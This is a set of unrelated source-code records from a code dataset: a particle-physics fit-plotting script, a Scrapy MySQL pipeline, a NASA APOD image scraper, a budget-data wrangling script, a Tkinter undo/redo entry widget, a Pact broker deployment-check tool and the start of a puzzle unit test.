list(BinEdges([10, 12, 15, 20, 25, 30, 100]))\nbincenters = [0.5*(lo + hi)\n for lo, hi in BinEdges([10, 12, 15, 20, 25, 30, 50])]\nbinhalfwidths = [0.5*(hi - lo)\n for lo, hi in BinEdges([10, 12, 15, 20, 25, 30, 50])]\nn = len(binedges)\n# binhalfwidths = [0] * n\n\ndef var_vs_pt(name):\n \"\"\"Returns functions that take a workspaces ws and return\n x, y, ex, ey where y and ey correspond to workspace\n variable of a given name and x and ex are pt bins.\"\"\"\n return (\n lambda ws, i = iter(bincenters): i.next(), # x\n lambda ws: ws.var(name).getVal(), # y\n lambda ws, i = iter(binhalfwidths): i.next(), # ex\n lambda ws: ws.var(name).getError(), # ey\n )\n\ncategories = 'EB_lowR9 EB_highR9 EE_lowR9 EE_highR9'.split()\nlyonmc = lyon['mc']\n\nclass Config():\n \"\"\"Holds fitResultPlotter configuration data.\"\"\"\n def __init__(self, **kwargs):\n for name, value in kwargs.items():\n setattr(self, name, value)\n## end of Config\n\ncfgs = [\n ###########################################################################\n ## EB, R9 < 0.94, mmMass < 80 GeV, mmgMass in [87.2, 95.2]\n Config(\n ## Used to pick the right Lyon data and in canvas name\n name = 'EB_lowR9',\n ## Used in canvas title\n title = 'Barrel, R_{9} < 0.94, Baseline Selection, POWHEG S4',\n filenames = [filename] * n,\n wsnames = ('ws1',) * n,\n sreco_snapshots = ['sFit_sreco_mc_cbShape_mmMass80_EB_lowR9_PhoEt%d-%d'\n % (lo, hi) for lo, hi in binedges],\n ## MC truth scale\n strue_snapshots = ['sFit_strue_mc_bifurGauss_mmMass80_EB_lowR9_'\n 'PhoEt%d-%d' % (lo, hi) for lo, hi in binedges],\n ),\n ###########################################################################\n ## EB, R9 > 0.94, mmMass < 80 GeV, mmgMass in [87.2, 95.2]\n Config(\n ## Used to pick the right Lyon data and in canvas name\n name = 'EB_highR9',\n ## Used in canvas title\n title = 'Barrel, R_{9} > 0.94, Baseline Selection, POWHEG S4',\n filenames = [filename] * n,\n wsnames = ('ws1',) * n,\n sreco_snapshots = ['sFit_sreco_mc_cbShape_mmMass80_EB_highR9_PhoEt%d-%d'\n % (lo, hi) for lo, hi in binedges],\n ## MC truth scale\n strue_snapshots = ['sFit_strue_mc_bifurGauss_mmMass80_EB_highR9_'\n 'PhoEt%d-%d' % (lo, hi) for lo, hi in binedges],\n ),\n ###########################################################################\n ## EE, R9 < 0.95, mmMass < 80 GeV, mmgMass in [87.2, 95.2]\n Config(\n ## Used to pick the right Lyon data and in canvas name\n name = 'EE_lowR9',\n ## Used in canvas title\n title = 'Endcaps, R_{9} < 0.95, Baseline Selection, POWHEG S4',\n filenames = [filename] * n,\n wsnames = ('ws1',) * n,\n sreco_snapshots = ['sFit_sreco_mc_cbShape_mmMass80_EE_lowR9_PhoEt%d-%d'\n % (lo, hi) for lo, hi in binedges],\n ## MC truth scale\n strue_snapshots = ['sFit_strue_mc_bifurGauss_mmMass80_EE_lowR9_'\n 'PhoEt%d-%d' % (lo, hi) for lo, hi in binedges],\n ),\n ###########################################################################\n ## EE, R9 > 0.95, mmMass < 80 GeV, mmgMass in [87.2, 95.2]\n Config(\n ## Used to pick the right Lyon data and in canvas name\n name = 'EE_highR9',\n ## Used in canvas title\n title = 'Endcaps, R_{9} > 0.95, Baseline Selection, POWHEG S4',\n filenames = [filename] * n,\n wsnames = ('ws1',) * n,\n sreco_snapshots = ['sFit_sreco_mc_cbShape_mmMass80_EE_highR9_PhoEt%d-%d'\n % (lo, hi) for lo, hi in binedges],\n ## MC truth scale\n strue_snapshots = ['sFit_strue_mc_bifurGauss_mmMass80_EE_highR9_'\n 'PhoEt%d-%d' % (lo, hi) for lo, hi in binedges],\n ),\n]\n\n\nfor cfg in cfgs:\n #------------------------------------------------------------------------------\n ## Scale Comparison\n ## Lyon\n frp = FitResultPlotter(\n sources = zip(cfg.filenames, cfg.wsnames, cfg.sreco_snapshots),\n getters = (\n lambda ws, i = iter(bincenters): i.next(), # x\n lambda ws, i = iter(lyonmc[cfg.name]['sreco']): i.next(), # y\n lambda ws, i = iter(binhalfwidths): i.next(), # ex\n lambda ws, i = iter(lyonmc[cfg.name]['esreco']): i.next(), # ey\n ),\n xtitle = 'E_{T}^{#gamma} (GeV)',\n ytitle = 's_{reco} = E^{#gamma}_{reco}/E^{kin}_{reco} - 1 (%)',\n title = 'Lyon',\n )\n frp.getdata()\n frp.makegraph()\n\n ## Caltech\n frp.getters = var_vs_pt('#Deltas')\n frp.title = 'Caltech'\n frp.getdata()\n frp.makegraph()\n\n ## True\n frp.sources = zip(cfg.filenames, cfg.wsnames, cfg.strue_snapshots)\n frp.getters = var_vs_pt('#Deltas')\n frp.title = 'MC Truth'\n frp.getdata()\n frp.makegraph()\n\n ## Compare Caltech, Lyon and MC truth scale\n canvases.next('s_' + cfg.name).SetGrid()\n frp.plotall(title = cfg.title,\n styles = [20, 25, 22],\n colors = [kBlue, kRed, kBlack])\n\n plotters.append(frp)\n\n #------------------------------------------------------------------------------\n ## S width Comparison\n ## Lyon\n frp = FitResultPlotter(\n sources = zip(cfg.filenames, cfg.wsnames, cfg.sreco_snapshots),\n getters = (\n lambda ws, i = iter(bincenters): i.next(), # x\n lambda ws, i = iter(lyonmc[cfg.name]['sigma']): i.next(), # y\n lambda ws, i = iter(binhalfwidths): i.next(), # ex\n lambda ws, i = iter(lyonmc[cfg.name]['esigma']): i.next(), # ey\n ),\n xtitle = 'E_{T}^{#gamma} (GeV)',\n ytitle = '#sigma(s_{reco}) (%)',\n title = 'Lyon',\n )\n frp.getdata()\n frp.makegraph()\n\n ## Caltech\n frp.getters = var_vs_pt('#sigma')\n frp.title = 'Caltech'\n frp.getdata()\n frp.makegraph()\n\n ## Compare Caltech and Lyon s width\n canvases.next('sigma_' + cfg.name).SetGrid()\n frp.plotall(title = cfg.title,\n styles = [20, 25])\n\n plotters.append(frp)\n## end of loop over cfgs\n\n\n\n################################################################################\n## Plot the p-values of the MC true fits\nfilenames = [filename] * n\nworkspaces = ['ws1'] * n\nsnapshot = 'chi2_strue_mc_bifurGauss_mmMass80_%s_PhoEt%d-%d_iter0'\ncats = list(subdet_r9_categories)\n\nfrp = FitResultPlotter(\n sources = zip([filename] * n,\n ['ws1'] * n,\n [snapshot % ('EB_highR9', lo, hi) for lo, hi in binedges]),\n getters = var_vs_pt('chi2Prob'),\n xtitle = 'E_{T}^{#gamma} (GeV)',\n ytitle = 'p-value',\n title = 'Barrel, R_{9}^{#gamma} < 0.94',\n )\n\nfor icat in cats:\n frp.sources = zip(filenames, workspaces,\n [snapshot % (icat.name, lo, hi) for lo, hi in binedges])\n frp.getters = var_vs_pt('chi2Prob')\n frp.title = ', '.join(icat.labels)\n frp.getdata()\n frp.makegraph()\n\ncanvases.next('strue_pvalues_vs_phoEt')\nfrp.plotall(title = 'MC Truth Fits')\nplotters.append(frp)\n\n## Make the distribution of the p-values\nhist = frp.histogramall(\n name = 'h_strue_pvalues',\n title = 's_{true} = E^{#gamma}_{reco}/E^{#gamma}_{gen};p-value;Fits',\n nbins = 5, xlow = 0, xhigh = 1\n )\ncanvases.next('strue_pvalues_distro')\nhist.Draw('e0')\nplotters.append(hist)\n\n################################################################################\n## Plot the p-values of the reco s-Fits fits\nfilenames = [filename] * n\nworkspaces = ['ws1'] * n\nsnapshot = 'chi2_sreco_mc_cbShape_mmMass80_%s_PhoEt%d-%d_iter0'\n\nfrp = FitResultPlotter(\n sources = zip([filename] * n,\n ['ws1'] * n,\n [snapshot % ('EB_highR9', lo, hi) for lo, hi in binedges]),\n getters = var_vs_pt('chi2Prob'),\n xtitle = 'E_{T}^{#gamma} (GeV)',\n ytitle = 'p-value',\n title = 'Barrel, R_{9}^{#gamma} > 0.94',\n )\n\nfor icat in cats:\n frp.sources = zip(filenames, workspaces,\n [snapshot % (icat.name, lo, hi) for lo, hi in binedges])\n frp.getters = var_vs_pt('chi2Prob')\n frp.title = ', '.join(icat.labels)\n frp.getdata()\n frp.makegraph()\n\ncanvases.next('sreco_pvalues_vs_phoEt').SetLogy()\nfrp.plotall(logy = True, title = 's_{reco} Fits')\n\n## Make the distribution of the p-values\nhist = frp.histogramall(\n name = 'h_sreco_pvalues',\n title = 's_{reco} = E^{#gamma}_{reco}/E^{#gamma}_{kin};p-value;Fits',\n nbins = 5, xlow = 0, xhigh = 1\n )\nc1 = canvases.next('sreco_pvalues_distro')\nhist.Draw('e0')\nplotters.append(hist)\n\nc1.Update()\n\nif __name__ == '__main__':\n import user\n","sub_path":"MuMu/test/escale/frp_caltech_vs_lyon.py","file_name":"frp_caltech_vs_lyon.py","file_ext":"py","file_size_in_byte":9718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"442195433","text":"# -*- coding: utf-8 -*-\n\nfrom twisted.enterprise import adbapi\nimport MySQLdb.cursors\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n'''\nCREATE TABLE `alpha_document_article` (\n `id` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '文档ID',\n `parse` tinyint(3) unsigned NOT NULL DEFAULT '0' COMMENT '内容解析类型',\n `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '文章内容',\n `template` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '' COMMENT '详情页显示模板',\n `bookmark` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '收藏数',\n `url` varchar(255) NOT NULL DEFAULT '' COMMENT '文章url',\n `md5` char(32) CHARACTER SET utf8 NOT NULL DEFAULT '' COMMENT '文章url md5',\n `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '' COMMENT '文章标题',\n `summary` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '文章摘要',\n `img` varchar(255) DEFAULT NULL COMMENT '缩略图',\n `article_img` varchar(255) DEFAULT NULL COMMENT '大图',\n `article_img_from` varchar(255) DEFAULT NULL COMMENT '大图来源',\n `article_source` varchar(255) DEFAULT NULL COMMENT '文章来源',\n `article_source_link` varchar(255) DEFAULT NULL COMMENT '文章源link',\n `article_source_title` varchar(255) DEFAULT NULL COMMENT '文章源标题',\n `create_time` bigint(13) unsigned NOT NULL DEFAULT '0' COMMENT '创建时间',\n `update_time` bigint(13) unsigned NOT NULL DEFAULT '0' COMMENT '更新时间',\n `author` varchar(255) DEFAULT NULL COMMENT '作者',\n PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 ROW_FORMAT=DYNAMIC COMMENT='文档模型文章表';\n\n title = scrapy.Field()\n url = scrapy.Field()\n md5 = scrapy.Field()\n img = scrapy.Field()\n author = scrapy.Field()\n time = scrapy.Field()\n articleImg = scrapy.Field()\n articleImgFrom = scrapy.Field()\n articleSource = scrapy.Field()\n articleSourceLink = scrapy.Field()\n articleSourceTitle = scrapy.Field()\n summary = scrapy.Field()\n content = scrapy.Field()\n'''\n\nimport json\nimport datetime\n\nclass JsonWriterPipeline(object):\n\n def open_spider(self, spider):\n self.file = open('../result/%s.json' % (datetime.datetime.now().strftime('%b-%d-%y_%H_%M_%S')), 'w')\n self.file.write('[')\n self.firstLine = True\n\n def close_spider(self, spider):\n self.file.write(']')\n self.file.close()\n\n def process_item(self, item, spider):\n if self.firstLine:\n line = json.dumps(dict(item))\n self.firstLine = False\n else:\n line = \",\\n\" + json.dumps(dict(item))\n self.file.write(line)\n return item\n\nclass AlphaPipeline(object):\n def __init__(self): \n self.db_pool = adbapi.ConnectionPool('MySQLdb',\n db='alpha',\n user='root',\n passwd='123456',\n host='127.0.0.1',\n port=3307,\n charset='utf8',\n use_unicode=True)\n \n def process_item(self, item, spider):\n query = self.db_pool.runInteraction(self._conditional_insert, item)\n query.addErrback(self.handle_error)\n return item\n\n def _conditional_insert(self, tx, item):\n print(\"select id from alpha_document_article where md5 = %s\", (item['md5'], ))\n\n tx.execute(\"select id from alpha_document_article where md5 = %s\", (item['md5'], ))\n result = tx.fetchone()\n if result:\n pass\n else:\n values = (\n item['title'],\n item['url'],\n item['md5'],\n item['content'],\n item['author'],\n item['summary'],\n item['img'],\n item['articleImg'],\n item['articleImgFrom'],\n item['articleSource'],\n item['articleSourceLink'],\n item['articleSourceTitle'],\n item['time']\n )\n tx.execute(\"insert into alpha_document_article(title, url, md5, content, author, summary, img, article_img, article_img_from, article_source, article_source_link, article_source_title, create_time) values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\", values)\n\n def handle_error(self, e):\n print('error',e)","sub_path":"spider/alpha/alpha/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":4695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"42848457","text":"from urllib.request import urlopen, urlretrieve\nfrom urllib.parse import urljoin\nfrom bs4 import BeautifulSoup\nimport os\n\n\nbaseUrl = \"https://apod.nasa.gov/apod/archivepix.html\"\narchiveHtmlStr = urlopen(baseUrl).read()\n\nfor link in BeautifulSoup(archiveHtmlStr, \"html.parser\").findAll(\"a\", limit=10):\n imgBaseUrl = urljoin(baseUrl, link['href'])\n \n # follow the link to image page\n imgHtmlStr = urlopen(imgBaseUrl).read()\n imgUrl = urljoin(imgBaseUrl, BeautifulSoup(imgHtmlStr, \"html.parser\").img['src'])\n imgName = imgUrl.split('/')[-1]\n print(imgName, imgUrl)\n\n # download and store image\n downloadDir = 'apod_pictures'\n urlretrieve(imgUrl, os.path.join(downloadDir, imgName))\n ","sub_path":"python/oreilly_intermediate_python/unit6_scraping/scraper3.py","file_name":"scraper3.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"419726646","text":"\"\"\"\nAuthor: Janelle Becker\nOriginal Date: 17-08-07\n\nGOALS OF THIS SCRIPT:\n --Read in historical MTS data table (outlays)\n --Get the data in a dataframe format that is ready for data visualization \n --Ideally tool-agnostic, but for now, assuming LONG dataset \n \n \n # Create separate dataframe of the following by splitting into 3 df's\n (1) numbers\n (2) percent of outlays\n (3) percent of gdp\n \n \n \n --v2 changes:\n\n\n\n\"\"\"\n### Import stuff --------------------------------------------------------------\nimport pandas as pd\nfrom datetime import datetime, timedelta\nimport time\nimport requests\nimport numpy as np\nimport json\nimport urllib\nfrom pandas.io.json import json_normalize\nimport os\nimport xlrd\n\nstart = time.time()\n\n\n### SET UP THE DIRECTORIES ----------------------------------------------------\nmain_dir = \"C:/Users/583902/Desktop/BAH1/_Treasury_DATA_Act/MTS\"\ndata_dir = main_dir + \"/data\"\nhist_dir = data_dir + \"/Historical_Tables/GPO_Historical_Tables\"\noutput_dir = data_dir + \"/output/historical_output\"\n\n\nos.chdir(hist_dir) #change working directory to data in GA folder\nos.listdir(os.getcwd()) #list out files in there \n\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\"\"\"| Random Technical Notes |\"\"\"\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\n\"\"\" \nFILE NAMES\nfor some reason these file names are off by one. Table 3.1 is \n#called 4-1 :(\n\n# Table 3.1—OUTLAYS BY SUPERFUNCTION AND FUNCTION: 1940–2021\n # numbers are in millions (from excel)\n # (*) * 0.05 percent or less.\n # (−*) i guess negative less than .05 percent?\n\nFISCAL YEAR \nThe first fiscal year for the U.S. Government started Jan. 1, 1789. Congress \nchanged the beginning of the fiscal year from Jan. 1 to Jul. 1 in 1842, and \nfinally from Jul. 1 to Oct. 1 in 1977 where it remains today.\n\n\n# Some functions started at different times, e.g. Medicare or General Science \n I converted these \"....\" to zeroes.\n\n\"\"\"\n\n\n\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\"\"\"| Bring in the data |\"\"\"\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\n\n# Table 3.1—OUTLAYS BY SUPERFUNCTION AND FUNCTION: 1940–2021\n\n# numbers are in millions (from excel)\n# (*) * 0.05 percent or less.\n# (−*) i guess negative less than .05 percent?\n\npath = hist_dir + \"/BUDGET-2017-TAB-4-1.xls\"\nwhatiwant = {col: str for col in (0,83)} #got 84 from excel...smart way to do this if data were huge???\ndf = pd.read_excel(path, \n sheetname=\"Table\", \n header=1,\n skiprows = [2, 57],\n converters=whatiwant)\n\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\"\"\"| Wrangle in the data |\"\"\"\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\n\n#Check out the column names \ncols_df = df.columns.tolist()\n\n\n#Rename columns ----------------------------------------------------------------\ncols_to_change = cols_df[1:]\ncols_new_names = [\"outlays_M_\" + str(i) for i in cols_to_change]\n\n# Add in the superfunction column name back to the list\ncols_new_names = ['Superfunction_and_Function'] + cols_new_names\n\nfor (oldcolname, replacement) in zip(cols_df, cols_new_names):\n df.rename(columns={oldcolname : replacement}, inplace=True)\n\n\n#Still have a few i want to rename and I don't feel like making new lists\ndf.rename(columns= {\"outlays_M_2016 estimate\" : \"outlays_M_2016_estimate\"}, inplace=True)\ndf.rename(columns= {\"outlays_M_2017 estimate\" : \"outlays_M_2017_estimate\"}, inplace=True)\ndf.rename(columns= {\"outlays_M_2018 estimate\" : \"outlays_M_2018_estimate\"}, inplace=True)\ndf.rename(columns= {\"outlays_M_2019 estimate\" : \"outlays_M_2019_estimate\"}, inplace=True)\ndf.rename(columns= {\"outlays_M_2020 estimate\" : \"outlays_M_2020_estimate\"}, inplace=True)\ndf.rename(columns= {\"outlays_M_2021 estimate\" : \"outlays_M_2021_estimate\"}, inplace=True)\n\n#check that it went right\ncols_df = df.columns.tolist() \ncols_df\n\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\"\"\"| Create 3 dataframes: $, % of outlays, % of GDP |\"\"\"\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n# I want to create a separate dataframe for the \"As a percent of outlays\" numbers\n\n#Find the line that says \"As percentages of outlays:\" and its index\nindex_pct_OL_header = df[(df.loc[:, 'Superfunction_and_Function']==\"As percentages of outlays: \")].index.tolist()[0]\nindex_pct_GDP_header = df[(df.loc[:, 'Superfunction_and_Function']==\"As percentages of GDP: \")].index.tolist()[0]\n\n# Rows 0 to index_pct_OL_header is what I want\n# Rows index_pct_OL_header to index_pct_GDP_header is % of outlays\n# Rows index_pct_GDP_header to the end is % of GDP\n\ndf1 = df[:] #make a copy instead of renaming the actual dataframe\ndf = df1[:index_pct_OL_header]\ndf_pct_OL = df1[index_pct_OL_header:index_pct_GDP_header]\ndf_pct_GDP = df1[index_pct_GDP_header:]\n\n\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n\"\"\"| Wrangle the data to get just functions & values |\"\"\"\n\"\"\"|--------------------------------------------------------------------|\"\"\"\n# I only want the FUNCTIONS, and there are a lot of other lines, e.g. on- and off-budget numbers\n\n### Drop row if it is offering on-budget or off-budget numbers -------------------\n\n# make sure it's a string and stripped/trimmed\ndf['Superfunction_and_Function'] = df['Superfunction_and_Function'].str.strip()\ndf['Superfunction_and_Function'] = df['Superfunction_and_Function'].astype(str)\n\n#Keep the rows where the function does not include the word \"budget\"\ndf = df[~df['Superfunction_and_Function'].str.contains('budget')]\ndf.reset_index(drop=True, inplace=True)\n\n\n### Find all \"..........\" and replace with NaN for the whole dataframe----------------\n#When no values are available (e.g. Medicare in 1950) they used \"..........\"\ndf = df.replace(\"..........\", 0)\n\n\n### Ensure all numbers are typed as floats or integers---------------------------\n# For some reason, the 2021 estimate column isn't a number?\ncols_df\ntype(df['outlays_M_2020_estimate'][0]) # numpy.float64\ntype(df['outlays_M_2021_estimate'][0]) # STR ??\n\n\ndf['outlays_M_2021_estimate'] = df['outlays_M_2021_estimate'].astype(float)\ntype(df['outlays_M_2021_estimate'][0]) # numpy.float64\n\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"scripts/MTS_Historical_to_Viz_Outlays_v1.py","file_name":"MTS_Historical_to_Viz_Outlays_v1.py","file_ext":"py","file_size_in_byte":6628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"543156779","text":"import tkinter as tk\n\nfrom collections import namedtuple\nfrom tkinter import ttk\n\n \nclass ClipboardEntry(ttk.Entry):\n MAX_HISTORY = 30\n HISTORY_ENTRY = namedtuple('History', ('data', 'pre_index', 'post_index'))\n \n class DataChangedInfo:\n def __init__(self, pre=None, post=tk.END):\n self.pre_index = pre\n self.post_index = post\n \n def reset(self):\n self.pre_index = None\n self.post_index = tk.END\n \n def str(self):\n return str(self.pre_index) + ', ' + str(self.post_index)\n \n def repr(self):\n pre, post = tuple(map(repr, (self.pre_index, self.post_index)))\n return f'DataChangedInfo({pre}, {post})'\n \n def __init__(self, parent, max_length=None, **kwargs):\n self.data_var = kwargs.pop('textvariable', tk.StringVar())\n self.max_length = 128\n self.data_changed_info = ClipboardEntry.DataChangedInfo()\n super().__init__(parent, textvariable=self.data_var, **kwargs)\n \n self.history = [ClipboardEntry.HISTORY_ENTRY(self.data_var.get(), None, self.index(tk.INSERT))]\n self.redo_stack = []\n \n self.context_menu = self.create_menu()\n self.bind(\"\", self._show_context_menu)\n self.bind(\"\", self.undo)\n self.bind(\"\", self.redo)\n self.bind(\"\", self._on_key_pressed)\n self.data_var.trace('w', self._on_data_changed)\n self.focus = self.focus_set\n \n def create_menu(self):\n menu = tk.Menu(self, tearoff=False)\n menu.add_command(label=\"Cut\")\n menu.add_command(label=\"Copy\")\n menu.add_command(label=\"Paste\")\n return menu\n \n def clear_history(self):\n self.history.clear()\n self.redo_stack.clear()\n self.history.append(ClipboardEntry.HISTORY_ENTRY(self.data_var.get(), None, self.index(tk.INSERT)))\n \n def insert(self, index, string):\n idx = index if index != tk.INSERT else self.index()\n self.data_changed_info.pre_index = idx\n self.data_changed_info.post_index = idx + len(string)\n super().insert(index, string)\n \n def delete(self, first, last=None):\n def fix_index(idx):\n if idx == tk.INSERT:\n return self.index()\n elif idx == tk.END:\n return len(self.data_var.get())\n return idx\n fst, lst = tuple(map(fix_index, (first, last)))\n length = lst - fst if lst is not None else 1\n self.data_changed_info.pre_index = fst + length\n self.data_changed_info.post_index = fst\n super().delete(first, last)\n \n def focus_set(self):\n self.icursor(self.history[-1].post_index)\n super().focus()\n \n def undo(self, event=None):\n if len(self.history) > 1:\n pre_index = self.history[-1].pre_index\n self.redo_stack.append(self.history.pop())\n self.data_var.set(self.history[-1].data)\n if pre_index is not None:\n self.icursor(pre_index)\n \n def redo(self, event=None):\n if self.redo_stack:\n self.history.append(self.redo_stack.pop())\n self.data_var.set(self.history[-1].data)\n self.icursor(self.history[-1].post_index)\n\n def _on_key_pressed(self, event=None):\n # guaranteed to happen before data_var trace callback (_on_data_changed)\n length_difference = len(self.data_var.get()) - len(self.history[-1].data)\n self.data_changed_info.pre_index = self.index(tk.INSERT) - length_difference\n self.data_changed_info.post_index = self.index(tk.INSERT)\n \n def _on_data_changed(self, *args):\n data = self.data_var.get()\n if data != self.history[-1].data:\n if self.max_length is None or len(data) <= self.max_length:\n hist_entry = ClipboardEntry.HISTORY_ENTRY(self.data_var.get(), self.data_changed_info.pre_index, self.data_changed_info.post_index)\n self.history.append(hist_entry)\n self.redo_stack.clear()\n if len(self.history) > ClipboardEntry.MAX_HISTORY + 1:\n self.history.pop(0)\n else:\n self.data_var.set(self.history[-1].data)\n if self.data_changed_info.pre_index is not None:\n self.icursor(self.data_changed_info.pre_index)\n self.data_changed_info.reset()\n \n def _show_context_menu(self, event):\n self.context_menu.entryconfigure(\"Cut\", command=lambda: self.event_generate(\"<>\"))\n self.context_menu.entryconfigure(\"Copy\", command=lambda: self.event_generate(\"<>\"))\n self.context_menu.entryconfigure(\"Paste\", command=lambda: self.event_generate(\"<>\"))\n self.context_menu.post(event.x_root, event.y_root)","sub_path":"ui/entry.py","file_name":"entry.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"123798145","text":"import boto3\nimport subprocess\nimport re\nimport os\nimport argparse\nfrom boto3 import Session\nfrom boto3 import exceptions\n\n\nclass PactDeploymentCheck:\n def __init__(\n self,\n pact_broker_url,\n broker_user_name,\n broker_secret_name,\n consumer_pacticipant,\n provider_pacticipant,\n consumer_api_version,\n git_commit,\n ):\n\n self.pact_broker_url = pact_broker_url\n self.broker_user_name = broker_user_name\n self.broker_secret_name = broker_secret_name\n self.consumer_pacticipant = consumer_pacticipant\n self.provider_pacticipant = provider_pacticipant\n self.consumer_api_version = consumer_api_version\n self.git_commit = git_commit\n self.broker_password = self.get_secret()\n\n current_folder = os.path.basename(os.path.normpath(os.getcwd()))\n if \"CI\" in os.environ:\n if current_folder == \"test\":\n self.pact_path_prefix = \"../../\"\n else:\n self.pact_path_prefix = \"../\"\n else:\n if current_folder == \"test\":\n self.pact_path_prefix = \"../../../\"\n else:\n self.pact_path_prefix = \"../../\"\n\n def can_i_deploy(self):\n # CanIDeploy with consumer git_commit and latest provider tagged with v_production (must get version from tags)\n command = '''{pact_path_prefix}pact/bin/pact-broker can-i-deploy \\\\\n --broker-base-url=\\\"{pact_broker_url}\\\" \\\\\n --broker-username=\\\"{broker_user_name}\\\" \\\\\n --broker-password=\\\"{broker_password}\\\" \\\\\n --pacticipant=\\\"{consumer_pacticipant}\\\" \\\\\n --version \\\"{git_commit_consumer}\\\" \\\\\n --pacticipant \\\"{provider_pacticipant}\\\" \\\\\n --latest \\\"{latest}\\\"'''.format(\n pact_broker_url=self.pact_broker_url,\n broker_user_name=self.broker_user_name,\n broker_password=self.broker_password,\n consumer_pacticipant=self.consumer_pacticipant,\n provider_pacticipant=self.provider_pacticipant,\n latest=f\"{self.consumer_api_version}_production\",\n git_commit_consumer=self.git_commit,\n pact_path_prefix=self.pact_path_prefix,\n )\n\n #\n command_response = subprocess.Popen(\n command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT\n )\n\n fail_build = True\n for line in command_response.stdout.readlines():\n if \"Computer says yes\" in str(line):\n fail_build = False\n pass\n\n ansi_escape_8bit = re.compile(\n br\"(?:\\x1B[@-Z\\\\-_]|[\\x80-\\x9A\\x9C-\\x9F]|(?:\\x1B\\[|\\x9B)[0-?]*[ -/]*[@-~])\"\n )\n last_line = ansi_escape_8bit.sub(b\"\", line)\n print(last_line)\n\n return fail_build\n\n def get_secret(self):\n \"\"\"\n Gets the secret for PACT broker\n \"\"\"\n\n if self.broker_secret_name == \"local\":\n return \"dummy_password\"\n\n region_name = \"eu-west-1\"\n\n client = boto3.client(\"sts\")\n account_id = client.get_caller_identity()[\"Account\"]\n print(f\"Current users account: {account_id}\")\n\n role_to_assume = \"arn:aws:iam::997462338508:role/get-pact-secret-production\"\n response = client.assume_role(\n RoleArn=role_to_assume, RoleSessionName=\"assumed_role\"\n )\n\n session = Session(\n aws_access_key_id=response[\"Credentials\"][\"AccessKeyId\"],\n aws_secret_access_key=response[\"Credentials\"][\"SecretAccessKey\"],\n aws_session_token=response[\"Credentials\"][\"SessionToken\"],\n )\n\n client = session.client(service_name=\"secretsmanager\", region_name=region_name)\n\n try:\n get_secret_value_response = client.get_secret_value(\n SecretId=self.broker_secret_name\n )\n secret = get_secret_value_response[\"SecretString\"]\n except exceptions.ClientError as e:\n print(\"Unable to get secret from Secrets Manager\")\n raise e\n\n return secret\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Check if we can continue our CI pipeline.\"\n )\n parser.add_argument(\n \"--pact_broker_url\",\n default=\"https://pact-broker.api.opg.service.justice.gov.uk\",\n help=\"Base URL for the pact broker.\",\n )\n parser.add_argument(\n \"--broker_user_name\",\n default=\"admin\",\n help=\"The user to log in to pact broker with.\",\n )\n parser.add_argument(\n \"--broker_secret_name\",\n default=\"pactbroker_admin\",\n help=\"Name of the secret to use to get the password.\",\n )\n parser.add_argument(\n \"--consumer_pacticipant\",\n default=\"Complete the deputy report\",\n help=\"Name of the consumer of the API.\",\n )\n parser.add_argument(\n \"--provider_pacticipant\",\n default=\"OPG Data\",\n help=\"Name of the provider of the API.\",\n )\n parser.add_argument(\n \"--consumer_api_version\",\n default=\"v1\",\n help=\"Name of consumer version to check.\",\n )\n parser.add_argument(\n \"--git_commit\",\n default=\"d31b90b\",\n help=\"Reference for the consumer git commit version.\",\n )\n\n args = parser.parse_args()\n\n deployment_check = PactDeploymentCheck(\n args.pact_broker_url,\n args.broker_user_name,\n args.broker_secret_name,\n args.consumer_pacticipant,\n args.provider_pacticipant,\n args.consumer_api_version,\n args.git_commit,\n )\n\n print(deployment_check.can_i_deploy())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"shared_code/pact/opg_pact/consumer_pact_check.py","file_name":"consumer_pact_check.py","file_ext":"py","file_size_in_byte":5685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"257792458","text":"#!/usr/bin/env python\n\nimport unittest\nfrom day07 import has_abba, get_abba_allowed_strings, get_abba_disallowed_strings\nfrom day07 import supports_tls, count_tls_addresses\nfrom day07 import find_abas, supports_ssl, count_ssl_addresses\n\n\nclass TestFindingABBASequences(unittest.TestCase):\n cases = (\n ('abba', True),\n ('oxyyxo', True),\n ('aaaa', False),\n ('abcd', False),\n )\n\n def test_finds_abba_sequences(self):\n for text, expected in self.cases:\n self.assertEqual(has_abba(text), 